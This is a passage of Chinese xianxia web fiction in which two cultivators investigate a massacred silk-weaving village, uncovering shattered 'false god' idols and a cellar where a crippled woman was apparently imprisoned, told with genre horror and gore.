汤巅:“我才不跟那群笨蛋一样,炼个低阶灵剑就当成宝了。我要炼柄上品剑,用火茧丝勾纹路,还要嵌灵宝进去。”
楚江蓠:“你不是有一柄风樯了吗?哦,上品剑好卖,能得到更多的贡献点,有了贡献点就可以换更好的材料了。”
汤巅:“也不全是,我不想搬家。”
楚江蓠疑惑:“和你搬家有什么关系?”
汤巅解释道:“你不知道吗?我们按每次考核的结果分位阶,由位阶定住所啊。你腰上挂的金鼎铜配,就是第一等的焕赫阶,住独立院落。”
楚江蓠闻言,好奇去看汤巅腰间,只见他鹅黄长袍垂落,右侧坠着一枚铜制的金色高山。
楚江蓠:“你这是哪阶?”
汤巅甩着铜山配饰:“八朗阶,虽只有一座小屋,至少独居安静,但能升焕赫就好了,真羡慕你。”
楚江蓠恍然道:“你的意思是,若我月底还没能引气入体,就要搬出去?”
汤巅:“别逗了,你还没引气入体啊?”
楚江蓠顿了一下:“身体略有不适。”
汤巅张了张嘴,似乎要开口安慰几句,头顶忽然传来一声细微的猫叫。
呜呜咽咽的,像是风吹过水面般,楚江蓠心头微动,循声四下望去。只见石壁投落的阴影上,落下两只雪白的猫爪,正泛着柔光。
沿猫爪往上看去,是一只几近透明的白猫,大脑袋圆滚滚的,脖子上挂着金属小筒,全身浸在柔光里。
是只玉琢似的小猫,清风般翻过墙,跳落在汤巅身前,抬起前爪扒了扒他。
汤巅一见它,两眼放光:“我的火茧丝到了!”
话音刚落,这小猫前肢一蜷,扒下了胸前的金属小筒,伸爪递给汤巅,嘴里还念念有词道:“喵呜~您的物品已送达,通天阁为您服务。”
声音带着猫咪的细弱,听得人心都随之一化。
汤巅只顺手挠了下猫头,就急忙拔开金筒,筒中飞出一团翠色灵光。
他立马一兜手,把灵光收起来,金筒丢回小猫,才对楚江蓠说:“牛师姐,不聊了,我先回去炼剑了
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。”
汤巅说完,火急火燎地往风樯上一跳,越过墙头,钻进云雾中去了。
小猫舔了舔爪子,前肢落地,爪下闪起一圈淡蓝色的波纹。
它抬头冲楚江蓠喵呜了一声,接着爪下蓝光一闪,便消失了。
楚江蓠刚蹲下身子,想摸摸小猫,手却摸了个空。
她尴尬地收回手,问霜天晓:“这小灵猫是通天阁的灵宠吗?”
霜天晓摇头笑:“是通天阁的信使,无论收信人身在何处,它都能送到。”
“通天阁……”她低声重复了一遍。
通天阁掌控着修士间的交易,无论是收发委托还是售卖珍品,每日灵石来往如洪。
楚江蓠想着,不如去那里赚点灵石,就算灵材真的被垄断得彻底,连黑市都找不到,至少也能给自己多攒点灵石。
说不定灵感会在与不同修士的交流间蹦出来,有助于她了解灵力的运转原理。
……
通天阁内,许多修士来来往往,或是购买需要的装备,或是承接委托。
好几只透明的小灵猫在阁内跑来跑去,雪白的尾巴高高竖起,遇上障碍直接踮脚一跳,就优雅落地。
楚江蓠蹲下身子,想摸一摸小猫信使,结果它一扭身,从她腿边蹭过。
蹭过的触感并非毛绒绒的,而是滑而凉,清水似的。
猫咪开口,露出尖尖的小牙:“喵呜~请不要妨碍执行公务。”
“哦~天呐,不好意思。”楚江蓠笑着站起身,声音也变得和小猫一个调,扭头望向霜天晓,“真可爱呀。”
霜天晓撇开脸,挠了挠微红的耳尖:“你都没见过信使吗?”
她透过面具观察他的表情,意识到自己太过得意忘形,露了些破绽。
毕竟现在看来,修界一直靠这群小猫信使往来,她若对此过分关注,便显得奇怪了。
终是咬唇收了手,她依依不舍地放小猫远去,回收自己的事业心,在通天阁内仔细打听了一圈。
没见到售卖灵材的人,却听见许多修士围在委托板前,讨论着楚家大小姐下落的最新消息。
身为当事人的她,为挤进委托板前,便请人让一让,打断了对方的高谈阔论。
对方回头看了她一眼,神情有些古怪:“牛妖?城里居然还有妖物出入。”
“妖怎么了?”楚江蓠有些不满地反问,“这年头,你不能歧视妖吧。”
修士摇了摇头,指着前方硕大的委托板,说:“城主要严查你们这群妖。”
楚江蓠抬头一看,顶天立地的铜板上,挂着一条血红的官方委托:【铜城西郊野,桑林村被屠,现场有妖气残留,请有识之士调查……若有线索亦有赏。】
那委托就挂在楚家大小姐失踪案的下方,朱红惹眼,暗影惶惶,和楚家失踪的委托连看,让她心脏直颤。
耳畔却听得啧啧声响:“到底是铜城有钱,屠个村的调查酬劳居然能和楚家大小姐等价了。”
这轻佻的一句话唤回了楚江蓠的神思,屠村?等价?
她感到了某种荒唐,不知自己何德何能,逃个婚居然能和一村子的人命相等,冷冷地瞥了眼那个修士:“这么值钱,你怎么不接?”
修士嘿嘿一笑:“桑林村那鬼地方,摸进去都没点油水,城主自己查不出来的案子,我们接了不浪费时间?影响我委托口碑,让城主自己去查呗。”
14. 被屠的村子
听了修士的狂言,楚江蓠目光滑过其他委托,暗自叹了口气。修仙修心,这修士却不是为了除暴安良……
心头抹不去那种复杂的微妙,她想着,这里像极了前世那些人,冷漠又现实。
谁说人心难测,或许无论世界力量体系变成了什么样,人心始终逐利而生。
楚江蓠看完了其他委托,目光重又回到那血红的“屠村”两个字上。
胸口热气翻涌,心跳随即愈发快速,冲动鼓动着,似乎随时要将她开膛破肚。
她拨开人群,冲到负责人处,指着“桑林村”的调查委托,说自己要接下这个任务。
委托台前的修士挨挨挤挤,负责人百忙之中,抽空瞥她一眼:“仙阶证明拿出来,快点。”
楚江蓠还没引气入体,压根没有仙阶,也就没有去通天阁做什么仙阶证明。
一看负责人的视线被一个扯皮的修士攫走,她急急开口:“要证明干嘛?”
负责人没理她,仍在同修士扯皮。
楚江蓠只得再追问一遍:“没证明不行吗?总不能接委托都要看仙阶。”
负责人声音凉飕飕的,带着肉眼可见的不耐烦:“没证明去隔壁开一个,那是中阶以上的委托,至少要步入金丹期才能做。”
霜天晓走上前,轻轻一敲柜台:“元婴够不够?”
负责人连连弯腰点头:“您是元婴?够了够了,请在这里按一下。”
负责人边笑,边托出一片剔透的琉璃,琉璃里装满了各种星辰。
霜天晓懒懒地抬手,往琉璃上一搭。
那些星辰开始闪烁,光辉的颜色流转,最终变成翠绿。
负责人躬身:“验证完成,大人,您的委托书在这边。”
随着负责人勾手,一只小猫信使跳上柜台,放下了一块白玉。
那玉被雕成莲花花苞的模样,花苞尖端泛着淡粉色,纹路栩栩如生,琼脂玉润。
霜天晓拿起莲玉,随手抛给楚江蓠,对负责人说:“行了,我们去调查看看。”
莲玉随即坠进楚江蓠手中,冰润微重。
莲玉入手,没心思再考虑负责人那变脸如翻书的态度,楚江蓠只低头把玩着莲玉,心想着,这法器怎么用?
想法刚从她脑海滑过,手中莲玉倏忽开放。
玉质莲蕊中流出一道光,光束在她眼前展开成一光屏,屏上文字流动。
那些文字分两块区域排列,右侧区域介绍了委托的各项情报,时间、地点、勘察情况等;而左侧区域,则流动着一串串玩笑语句。
楚江蓠往左侧一瞥,根据玩笑语句判断,这块区域应该是用于信息交流的地方。
就像是在线论坛一类的交流区,参与交流的人,大概是接下屠村调查委托的其他修士。
霜天晓凑过来,同她仔细研究了一下情报,决定先去事发地点看看。
铜城因城外的屠村事件,全城戒严。两人向城门的守卫展示了莲玉,才得以放行。
走出铜城后,喧闹的世界瞬间安静下来,只有乌鸦站在枝头,嘎嘎叫着,凄清阴冷。
一路往西,去往桑林村的路上,几乎没见到人,偶尔路过的村落也早早就家家户户关了门,没什么人气。
霜天晓放出神识探了一下,摇摇头:“这些村子里的人几乎都走光了,应该是桑林村被屠的事把他们都吓跑了。”
两人在桑林村五公里外的小村庄,好不容易遇到一个在井旁打水的大婶。
刚要上去问路,大婶就立刻躲进屋里。
两人对视一眼,楚江蓠上前,只见老旧的木门上贴着两张泛黄的驱邪符。
驱邪符贴得尤为结实,想来屋主也是相信修士的人,她便敲了敲门,用清亮的声音询问:“婶婶,我们是北方来的修士,想向您讨口水喝。”
大婶隔着门,大声叫道:“你们都是这旬第九批来讨水喝的修士了,别以为我不知道修士辟谷,喝什么水啊,不就是来问桑林村的事吗?能说的我早就说了,去问别人吧,我什么都不知道。”
楚江蓠顿了一下,没料到对方贴了驱邪符,居然还会这么排斥修士。
想了一下,她改用拉近关系的方式,温和地继续询问:“好的呢,婶婶。你门外的井水我能打点喝吗?我还不会辟谷。”
大婶:“你要喝,随便你。”
楚江蓠看了眼水井,又敲了敲门:“婶婶,能不能借个水桶?”
大婶打开门,眼神带着戒备,给她递了一瓢冷水。
楚江蓠对着这瓢,咽了一下口水,试探着问:“婶婶,这是烧过的水吗?”
大婶:“烧过的,澄清的冷水,我家没茶叶,招待不了你们。”
楚江蓠摇了摇头,直接喝了一大口,又掏了个碎灵石塞进大婶手心:“谢谢婶婶,我们和别的修士不一样。一路惩妖除魔而来,路过此地,听闻有妖魔出没,才来打听消息。”
大婶捏了捏碎灵石,袖进袋子里,才打开门,给他们现烧了壶粗茶,同他们讲起桑林村的事。
铜城东临东海,气候温暖湿润。桑林村在铜城西侧郊野,距铜城约五十公里,村里上下以桑蚕纺织为生,出产的软烟罗是修界做法衣的优质材料。
普通的软烟罗虽然华美轻盈,却承载不起法衣的灵力。
只有桑林村的软烟罗,在生产的过程中用了某种秘法,能够承载符文的力量,制作成避火防水、冬暖夏凉的法衣。
只是半月前,桑林村忽然燃起冲天的大火,周边各个村子去救了火后,发现整个桑林村一个活口都没留下。
而且村里的人死状诡异,不像是被烧死的,反而像是被吓死的。
城主闻讯,立刻派人调查,查来查去,没得到什么信息不说,还把铜城封锁了。
据说是妖邪作乱,周边村子人人自危,连夜外逃。
大婶说着,叹了口气:“这种诡异的事,我们也想躲一躲,可惜我家那口子腿脚不好……”
楚江蓠安慰了婶婶几句,接着询问屠村那晚,有没有遇到什么特别的事情。
大婶低下头,露出一种恐惧的反应,声音颤抖着:“那天晚上我出来起夜,八月的风,居然吹得特别冷,而且很安静,连狗都不叫。”
“我们村子里的狗很爱叫,可是那晚……好安静,太奇怪了。我就伸头去往窗外看,就看见西北边
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闪过一道白光。”
“那白光晃了一下,和掉了个星星似的。我立马揉了揉眼睛,天上又什么都没有了。”
“我当时觉得,肯定是有宝贝掉下来了,准备第二天再去找。结果回屋的路上,我发现月亮尤其得亮,连院里的石磨都被照得发亮。”
“我就抬头去看月亮,没看见月亮,只看见云特别好看,被月亮照得像彩虹似的。我当时就想,今晚这么好的月亮,掉下来的肯定是好东西。”
大婶忽地抬起头,两眼瞪得又大又黑,惊悚地叫着:“你知道吗,那晚是初一!根本没有月亮!”
“我找了一会儿月亮,只看见亮得诡异的云,没看见月亮!我突然就想起来初一没月亮这回事了,吓得我浑身发寒啊,直接钻回被窝里,接着村子里就开始叫:‘救火去,桑林村起火了!’”
“我缩在被窝里一想,那桑林村不就在西北嘛,这太诡异了,我吓得哪敢动啊,就没跟他们去救火。”
“到了第二天,我才听说整个桑林村的人都死了。我不敢再去找那晚掉的东西,直接就跑到城里,给自己买了两张驱邪符,喏,就贴在大门上呢。之后就再也没遇见过这种怪事了。”
楚江蓠听完,心情有些沉重,这些线索组合在一起,她还不能确定究竟是发生了什么。
告别了大婶之后,她再询问了几家人,都没再得到有用的信息,便继续向西,往桑林村前进。
脚下的土地逐渐变得暗红,她只觉身上的阳光也有些发寒。
抬头四望,树林大约是被火烧过,呈现出焦黑干枯的形状,像剥了皮的鸡爪,扭曲着往天空抓去。
天上的太阳挂在树梢,冰冷地照落大地,地上的乌鸦啄起红色石块,展翅飞远。
她搓了搓手臂,把身上泛起的鸡皮疙瘩搓平,远远看见焦黑的房梁塌了一半,灾后的桑林村静静伫立在荒地中。
走近桑林村,空气里弥漫着腐烂的臭味,建筑破旧,墙垣倒塌,碎裂的石块下压着一些腐烂的血肉。
这里已没有人,只有阴冷的风吹过。
楚江蓠推开一扇破了角的木门,“吱呀”一声,腥臭的冷风吹上脸,院里桌子上还染着干涸的血迹。
那血迹早已洇进桌子的纹路里,许多蠕动的蛆虫正在往外涌。
她掩鼻,仔细观察着那张桌子。只见桌缝里残留些腐烂的血肉,血肉的颜色诡异,不是暗红,而是灰绿,那些蛆虫就在这些血肉中蠕动。
她有些干呕翻涌上来,扭开脸,继续研究院里的其他陈设。
霜天晓看过院里散落的东西,比划着那些血迹溅射的痕迹,同她说:“这里的尸体都被城主处理过了,铜城没能力长久保持现场情况,只做了记录留在委托书里。”
楚江蓠点头:“进屋看看。”
推开房门,一股水腥的潮气扑来,像是水鬼的舌头,湿黏滑腻地舔上脸。
楚江蓠站了一会儿,才适应屋里昏暗漆黑的环境。
在这漆黑简陋的房屋里,一座华丽神龛正对着门。
神龛里的神像被白布盖着,神像前插着燃了一半的断香。
修仙界的平民百姓会拜神吗?
15. 邪异的神像
看着盖得严实的神像,楚江蓠心头隐隐有些异样,这家人在拜谁?
她屏住呼吸,揭开那块白布。
入目是一片被打碎的黑色陶片。
这些碎片的形状扭曲邪异,她刚望过去,就觉得头晕恶心,眼前的碎片似乎会无限分裂,构成无数的碎影。
她晃了晃头,视野里忽地晃过一道邪异的光。
她吓得汗毛炸起,视线下意识落向那道邪异光彩。
光彩已然消失,余下的只有四片漆黑的眼睛状的陶片。
它们以圆圆的凸起状,躺在一堆碎片里,被幽绿的触手缠绕覆盖,眼球中心凹陷着一点极黑极幽的眼洞,尤为邪异。
她只看了这一眼,视线就被那眼洞吸住,似乎连灵魂都被拖拽陷入。
“别看!”
晃神中,她耳边听得霜天晓的清澈的声音,手中白布猛地被他抽走。
眼前白影一闪,那诡异的神像已经被盖的严严实实。
神像被挡住后,她的眩晕才好了一些,冷汗已湿透了后背。
耳边充斥着霜天晓的法咒声,悠远清明,似空谷中的铜铃,荡涤了邪异的气息。
法咒声起,她胃里也跟着翻涌起恶心,莫名的伤感失落似狂风暴雨般席卷,楚江蓠跌撞着捂唇后退,试图忍下干呕的恶感。
这恶感是一种生理性的,不可言说的恐惧……
在这混乱中,她意外抓住了一只结实的手臂。
是霜天晓扶住了她,又将掌心覆在她颈后,温暖的灵力流进来,瞬间清扫了楚江蓠嗡鸣的大脑。
翻涌的恶感也消了下去。
她抬起眼,看见他并指于额心,口中念着某种法咒。
随法咒念完,他额心闪过一道光辉,两人瞬间被传送到屋外。
冷冽的阳光照在身上,她匆忙喘上一口新鲜空气。
“太危险了!”霜天晓紧张地叫道,攥紧了她的手臂,“那是邪器,会吞噬灵魂的!”
他的手忽地一颤,又匆忙撤回,留她一个人站在那里。
她哽了一下,才开口:“我以为白布底下会是神像,没想到是这么一堆碎片,这邪器能做什么?”
霜天晓顿了一下,摇了摇头:“不确定,但很邪,铜城的那群守卫大约也没法处理,才留在了这里。”
楚江蓠深思着,下意识回望身后那间诡异的屋子。
屋子淹没在背阳的暗影里,不像是给活人住的地方。
不像活人?
这邪异的词汇滑过脑海,她忽地想起了前世的一个名词:恐怖谷效应。
是的,是恐怖谷。
她这才意识到恶感的来源,是她在那四只眼睛中窥见了灵智。
大约是邪器吞噬过一些灵魂后,生出了某种灵智,形成似人非人的邪异感。
这种畸形的邪异感,将她的感官扭曲嫁接,产生了来自原始基因的恐惧。
她再度走到房屋门口,盯着屋里的神龛,说道:“是这家人信奉的东西不干净吧。”
霜天晓:“神龛里确实有些扭曲的气息残留,但这气息……”
他顿了顿,望向村西叠起的青山:“和这里山林的气息很像。但山是清新的,它是恶臭的,很奇怪。”
楚江蓠:“有一点我很在意,明明去铜城拜一拜,就可以获得仙家道法的回应,他们为什么要特意在家里修神龛,供奉这种邪器?”
霜天晓:“或许是不想出门走动,就在家里祈福而已。”
她摇头:“不是单纯的祈福,这东西一定实现过他们的某些祈愿。”
霜天晓挑眉:“‘伪神’?山精野怪吗?你怎么知道?”
她“嘘”了一声,没回答,重新环顾起屋内的陈设。
这屋子虽淹没在血腥中,又被火烧得破败,但能从残留的设施里,看出这家生活得相当富裕。
梁柱上镶着繁复金丝,院内地砖嵌了被烧裂的灵玉,屋瓦也是碧绿的琉璃瓦。
然而屋内虽富气逼人,院外的门楣却破旧不堪。
楚江蓠眯了眯眼,心中有了些有趣的判断。
不知霜天晓有没有注意到这些细节,她便问了句:“你觉得这家人,怎么样?”
霜天晓沉吟了一声:“这家人表面装穷,应该是为了藏富。毕竟软烟罗销量不错,容易引起邻村嫉妒。”
她点头道:“看来桑林村确实赚了不少啊,他们的软烟罗有名吗?”
霜天晓挑眉道:“当然,那是修界最常见的法衣材料,你的弟子服用的就是它。”
“原来如此,聪明!”说着,她沉下眸子,轻轻扣了扣额心,“但错了,既然软烟罗这么有名,富是藏不住的,他们没必要这么建房子。”
霜天晓淡淡的笑意僵在了脸上,他微微拧眉:“我不明白,这看起来就是有人为了钱财屠村吧。”
楚江蓠摇摇头,捻起神龛中的那块白布一角。
这次她没再揭开,而是用指腹搓了搓,又蹲下身,仔细研究白布的经纬走线。
前世刷过的科普视频这时便派上了用场,她确认这块白布就是软烟罗。
她抬起头,询问霜天晓:“看织法、材料、纹理都和普通的软烟罗没区别,桑林村生产的特殊在哪里?”
霜天晓并指丢了个小火球,明亮的火焰刚一碰到白布就熄灭了。
他扬头:“看见了吧,这布有一层灵光,可避火水,冬暖夏凉,但织造方法是桑林村的绝密。”
她点头表示明白。
难怪要用白布盖着邪器碎片,白布的外层灵光,能挡住神龛里的邪气。
检查完毕,楚江蓠起身,继续去村里其他人家搜查。
一连查了几家,发现桑林村每家每户都摆了同款邪异的神龛,有些盖着软烟罗,有些没有。
但神龛里放的东西都一样,是一堆被打碎的黑陶碎片,每堆碎片里都躺着四片眼睛。
这意味着,整个桑林村都在供奉这种邪器。
这邪器究竟是什么?
楚江蓠心一横,隔着软烟罗抓起陶片,手忽然被霜天晓抓紧。
“你做什么!”他声音压得低,似乎想责备她,又强行压抑住了情绪,脸色冷冷的不甚好看,但很快就恢复了惯常的漫不经心的神色。
他不急不缓道:“放下吧,我来。”
“你试试能不能拼出原貌,要是有危险就算了,用软烟罗包着手,别碰到它。”楚江蓠顿了下,叹了口气。
言出法随,在核心契约的影响下,霜天晓垂下眸,隔着软烟罗,快速将碎片拼拼凑凑,勉强拼出了一个破碎的神像。
神像四只漆黑的眼睛长在嘴巴下面,外观像是蟾蜍和蜥蜴的混合体,恰印证了一开始的推测。
这是个“伪神”,而且是能让全村共同信奉的“伪神”。
只是不知为什么,所有的“伪神”像都被打碎了。
“是村民打碎的?”霜天晓推测,“发现这些是邪器后,他们打碎了‘伪神’像,被‘伪神’报复屠村。”
楚江蓠:“暂不确定,不能主观臆断,不过在很大概率上,事情并非如此。”
霜天晓抿了抿唇,闭上了嘴。
意识到他被多次反驳后,有些不高兴。她笑了下,安抚他:“但可知的是,桑林村集体伪装,不是为了藏富,而是为了藏这‘伪神’。”
说完,她停在一扇尤为破旧的门外,蹲下捻了捻暗红粘腻的土地,接着打量起这户人家。
院落残破不堪,门楣似乎被火烧过,院墙也塌了一半,透过废墟的缺口望进去,院里却是干净整洁的。
风吹动门上的铜制风铃,声响清凌凌的,如同水面的波纹,一圈圈漫开,极富规则与韵律。
也顺势洗清了她脑海的思路,令她瞬间通透了起来。
她意识到,这户人家和之前几家不太一样。
它只在门外洇了血,院子里却干净整洁,是桑林村里唯一没沾上什么血腥的屋子。
她立刻进了屋子院落,仔细盘查起来。
桌角有锐器的痕迹,锅洗刷得很干净,地上溅落了些血色斑点,神龛里的神像依旧是被打碎的……
但这座神像碎得更彻底,成了一片渣灰,像是被谁碾过,根本无法再拼出原本的模样,还和撕碎的软烟罗混在了一起,与别处的神像碎片很不一样。
显然遭受了一场蓄意的破坏。
这户人家,除了神龛附近被蓄意破坏外,其他地方都很整洁,对比之下,更显得整座院子气氛阴森。
这般奇怪的现象,极有可能藏着关键的线索。
这么一想,楚江蓠催动委托的莲玉,查看其中记载的信息。
手中莲玉微微亮起,淡粉的玉质花苞渐次盛开,花瓣迎风,莲蕊纤长。
浅黄的玉质莲蕊中射出一道灵光。
灵光扫过,虚空随即浮动出一道光屏,上面记录着当时勘察的发现。
光屏完全显现后,灵光继续往下扫去。
地上出现了几个尸体的幻影,他们面目狰狞,保持着挣扎的动作。
一个妇人躺倒在地,一个老汉扒着地面,一个壮男脖子上缠着一圈软烟罗。
这是铜城守卫勘察案发现场时,用法器记录下的景象。当她启动莲玉时,就可以用幻影还原现场。
楚江蓠看见这些挣扎的死者,愣了一下。
这户人家这般整洁,她还以为案发时是座空屋。没想到院里也是有人在的,而且还死前被人折磨过。
怀着满心疑问,她蹲在妇人幻影身前,仔细打量周围的细节。
霜天晓凑在一旁,看了一眼便说:“都是幻影,你先在这看看,别乱走,我去搜搜屋子。”
她恍若未闻,注意
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力都被妇人的死状吸引。
只见妇人躺倒在地,双腿扭曲,手捂脖颈,胸口有圆形的泥印,四周溅落了不少血斑。
点点血斑之中,妇人面孔狰狞,双眼几乎要突出眼眶,正死死盯着门口,似乎在疯狂地期盼着什么。
楚江蓠上下检查了一遍,开始研究妇人胸口的泥印,这应该是凶手踩踏留下的。
奇怪的是,这并非是人的脚,而是粗壮的木桩之类留下的。
难道践踏妇人的人,平日里拄着木桩走路,底部沾满泥灰后,又一遍遍戳向妇人心窝?
楚江蓠试着模仿戳人心窝的动作,大臂上下摆动,很快就肌肉发酸,气喘吁吁。
这种折磨人的方式也太别扭费力了。
她立刻否定了凶手用棍棒折磨妇人的猜想。
检查完妇人后,楚江蓠起身,顺着妇人的视线往后退去,双手比划高度,又转向身旁,正对上另一个扒着地面的男人的头。
男人头顶有一圈瘀血凹痕,手指紧紧绷着,试图往房间里爬去。
这凹痕才是棍棒击打的痕迹!
楚江蓠对着男人,调整了自己的位置,微微低下身。
霜天晓从屋里提了根铁链出来,躬下身子,侧头望向她,问道:“你在干嘛呢?”
阳光恰好穿过墙头与屋檐的夹角,洒落在他身上,照得他发丝微微发光,一双桃花眼也显得尤为透亮。
楚江蓠伸手:“正好,你别动。”
霜天晓也就听话地保持躬身的姿势,一动不动,清风吹得他长发微晃。
楚江蓠沉思着,指挥他抬起手臂,直到抬至某一处时,她眼皮微跳。
对了,就是这个位置,所有死者的动向都聚焦在了这里。
为什么是这里?
太阳逐渐西坠,霜天晓落在墙上的影子缓缓上爬,很快就消失了。
楚江蓠沉思了一会儿,回头望向屋里:“真奇怪啊,这院里一天都照不到什么太阳,谁家这么造房子,倒像是给死人住的。”
霜天晓晃了晃头:“我能动了吗?”
楚江蓠这才想起他,连忙笑着拽他起身:“抱歉,抱歉,把你忘了。”
霜天晓:“你让我站这干嘛呢?手都酸了。”
楚江蓠后退着比划:“研究动线。”
霜天晓:“嗯?”
楚江蓠:“这家人的死法和外面的人不一样,别人是往外逃,似乎有东西在追他们。而这男人反而是想往屋里爬……虽然看起来也有东西在追他,但我感觉不是一个东西。”
霜天晓双臂环胸,没好气道:“又是你感觉,怎么判断的?纯凭直觉?”
楚江蓠看着他,茫然地眨了眨眼,这才意识到自己总在反驳他,有时候需要给他些解释。
她清淡笑了下,平和说道:“视线高度不一样,外面的人似乎在躲避一种很高的东西。但这家所有人的视线落点,就在你刚才的位置。似乎伤害他们的东西,就只有这么高。”
她伸手在胸前比划了一下,大概高度只在她胸口肋骨的下方。
她继续说道:“真奇怪啊,是两个凶手,还是协同作案?你这个又是什么?”
霜天晓挠了挠脸,大约是觉得尴尬,视线飘向手里的铁链:“这个啊,它有点邪气残留。”
楚江蓠:“邪气?守卫搜查时漏下了?”
霜天晓脸颊泛红,语气轻扬得意:“嗯,很微弱,多亏我知觉敏锐,仔细检查院子地面,不放过一个细节,不然就要漏了。”
楚江蓠心头一动,这是铜城守卫遗漏的线索。
“太棒了!你真牛!”她随便夸奖两句,哄了哄他,同时掏出了一粒显影丹,碾碎成金色的粉末,洒上铁链。
粉末一落上铁链,就如水般融了进去,冒出了一道淡到几乎看不见的黑烟。
霜天晓盯着显影丹,脸颊的红晕烧到了眼下。
他感叹道:“这是显影丹?你……楚家还真是财大气粗。”
显影丹可以将灵力显化出来,无论多么微小的灵力残留,都逃不过它的显化。
所以一般用来寻找极其隐秘的灵脉,是顶级宗门才能使用的秘宝。
也因此,显影丹在市面上极其珍贵,属于有价无市的丹药。
楚江蓠没心思接他的话,只自顾看着那道淡薄黑烟,说道:“是毒,还是怨气很重的毒,但被处理得很干净,差点就漏过了。”
霜天晓:“唔……这家真是很奇怪啊,铁链上怎么会有毒?”
楚江蓠心头一跳,询问道:“这东西你是在哪儿发现的?”
霜天晓扬头指向后院:“地下有个冷窖。”
楚江蓠立刻让他带自己去看看冷窖。
一进冷窖,阴森寒气扑面,窖里混着陈年血迹与臭气,她眼皮一跳,心下了然。
她知道这里发生什么了。
16. 断腿的女人
“有发现什么吗?”霜天晓跟在楚江蓠身边问道。
楚江蓠正伏在地上,盘查着那些污秽的磨痕,鼻头被恶臭刺激得生疼,生理性的泪水蓄在眼眶里。
她点了点头,告诉他:“情况我已经了解了,现在还差几个关键环节,麻烦你去这家其他屋子里找一找,有没有小孩子的东西。”
在她抬头的一瞬间,霜天晓望见了她微红的眼睛,那里面似乎蕴满了千愁万绪,比修界最深的赤渊还要深邃。
他不知为何,蹲在她身旁,垂下眸提议道:“这里有关键线索吧,我担心留你一个,会有危险。”
楚江蓠摇摇头:“不会的,不是山精作祟,是人祸。”
霜天晓没出声,但从他的眼神里能看出怀疑。
大约是她太笃定了,他才更加担忧。
念及此,虽然周围环境肮脏,她也忍不住笑了下,安抚道:“你怎么想的?以为凶手是个穷凶极恶的妖魔?躲在暗地里,随时可能出现,再杀死更多的人?”
霜天晓:“不是吗?他无声无息地屠了整个村子,即使是妖族四大家族来了,也很难这么干脆。”
楚江蓠:“这不恰说明,事情并非如此吗?”
霜天晓愣了一下。
她继续道:“铜城最近严查妖邪,很显然,城主和你是相同的思路。可凭他的势力,顺着这个思路往下查,都查不出来,不是被误导了,就是对方藏得深,别有用心。无论哪种,这里暂时都不会再出什么乱子了,你别担心。”
见霜天晓还在思考,她拍了拍他的肩:“总之,事情已经明朗,还缺一些细节串联,咱们速战速决。”
霜天晓:“你的思路是什么?”
她顿了下,心头浮起一点哀伤,指尖缓缓摩挲着铁链。
铁链叮咚,声音回荡在这空旷的冷窖里,冰冷幽远,似是迷魂在迷宫中徘徊着,寻不到时间的出口。
她叹了一声:“是正义的复仇。”
霜天晓:“正义?什么意思?”
楚江蓠:“看见那些脏污的挣扎痕迹了吗,这间冷窖里锁过一个人,一个断了腿的人。”
她幽冷的声音落在这处冷窖里,像是一枚铜钱,叮当着滚落。
这声音堵在霜天晓心头,梗住了他的呼吸。
他意识到大约发生了什么,脑海里浮现出幽暗可怖的画面,或许那个断了腿的人是个女人。
女人被锁在这不见天日的冷窖里,三年、五年、七年……
他不敢面对满窖的痕迹,在楚江蓠的推动下,迅速离开了冷窖,去搜寻她要的东西。
楚江蓠继续在冷窖里搜查,差不多查完所有的线索后,她取出莲玉,准备将那些细节记录下来。
这意味着她要使用灵力,催动莲玉运转,才能使用莲玉的留影能力。
虽然她自身尚无灵力,但因为核心契约的存在,霜天晓的灵力一直在向她输送,又从她掌心耗泻。
原本她是无法使用这些耗泻的灵力的,但她先前用桃木剑斩杀酒楼鬼影时,捡到了一片黑色薄玉。
后来,她经过研究,发现这片薄玉恰恰可以聚集这些灵力,帮她催动法宝,便给它取了个名——盛露。
她从戒指中取出盛露,贴在掌心。
掌心流出的灵力不断注入,薄薄的黑色石片随即发出暗紫色的光。
紫光如水,流动着繁复的符文,她托起盛露,用紫光浸透了委托莲玉。
莲玉舒展,在她面前腾出一朵盛放的莲花,花蕊上方浮动着一串串文字,书写着修士们对案件的胡乱猜测。
她拧转莲花,纤长的莲蕊摇动,蕊须相接,合成一道圆,圆心射出灵光,如薄膜般扫过线索痕迹。
灵光扫过铁链时,楚江蓠掌心的盛露忽然开始震动,灵力也跟着放缩。
震动带着她的心跳一起共鸣,如洪钟般回荡,似乎有什么在召唤盛露。
她匆匆记录完现场,便收了莲花幻影,跟着盛露的震动,走出冷窖。
冷窖外,夕阳已收了光辉,天地一片暗蓝色调。视野不那么清明,昏暗淹没了院里的桌椅板凳,她沿着墙角,一路走到设有神龛的房屋前。
一抬眼,屋里散落的神像碎片也在微微晃动。
扑通——
扑通——
碎片的晃动和她掌心的震动节奏相同,她听见了心脏随之鼓动的声音。
盛露震动得更厉害了,似乎随时要弹跳出掌心,奔向那堆碎片。
为什么会这样?
那堆碎片似乎和盛露达成了某种共振,她低头看了眼盛露,一时分不清,究竟是盛露激发了神像碎片,还是神像碎片激发了盛露。
直到神像碎片在晃动中聚集,隐隐有重组的迹象,她再也不能忍受地扑过去,抓起软烟罗,包紧了这堆邪物。
乒哩乓啷,她扑向神像碎片,撞倒了屋里的一堆摆设。
这声音惊起了树梢食腐的乌鸦,鸦鹊拍着翅膀,掠过幽玄的天际。
天际拖曳出昏暗的纤云,遮了这座屋门,门口奔进一道漆黑的身影。
来人丢了一地的杂物,猛地拉起楚江蓠,急切询问:“出什么事了?”
她立马递出掌心的盛露,指着包起的那堆碎片,冷静道:“它们的灵力互相激发,神像快要复原了。”
霜天晓脸色一寒,立刻划破手指,在那堆碎片周围画出一道法阵,留下一圈圈鲜红的血迹。
血迹中散落着点点金光,金光里裹着剔透的翠色。是金生翠,元婴期初阶修士的代表色,那点翠色中蕴着凛然正气,有震慑邪魔的力量。
法阵闭合,千金万翠的灵光压住了晃动的碎片堆,将它完全镇压。
至此,两人才长松一口气,霜天晓微微皱着眉:“这‘伪神’究竟是什么来历?”
楚江蓠向他展示了下盛露,说道:“这是我们救酒楼舞姬时,那些鬼影化出的薄玉。它能与这里的神像联结,可能它们有着千丝万缕的联系。”
霜天晓抿唇,简单定论:“鬼修。”
十大职业中,鬼修极为神秘,楚江蓠并不了解,便追着询问。
霜天晓摇了摇头:“我也不是很了解鬼修,他们很神秘,听说是八十年前突然冒出来的一群邪修,最鼎盛时,曾占据了三座城,从者数万,之后被修界各大宗门围剿,只剩下了一脉。”
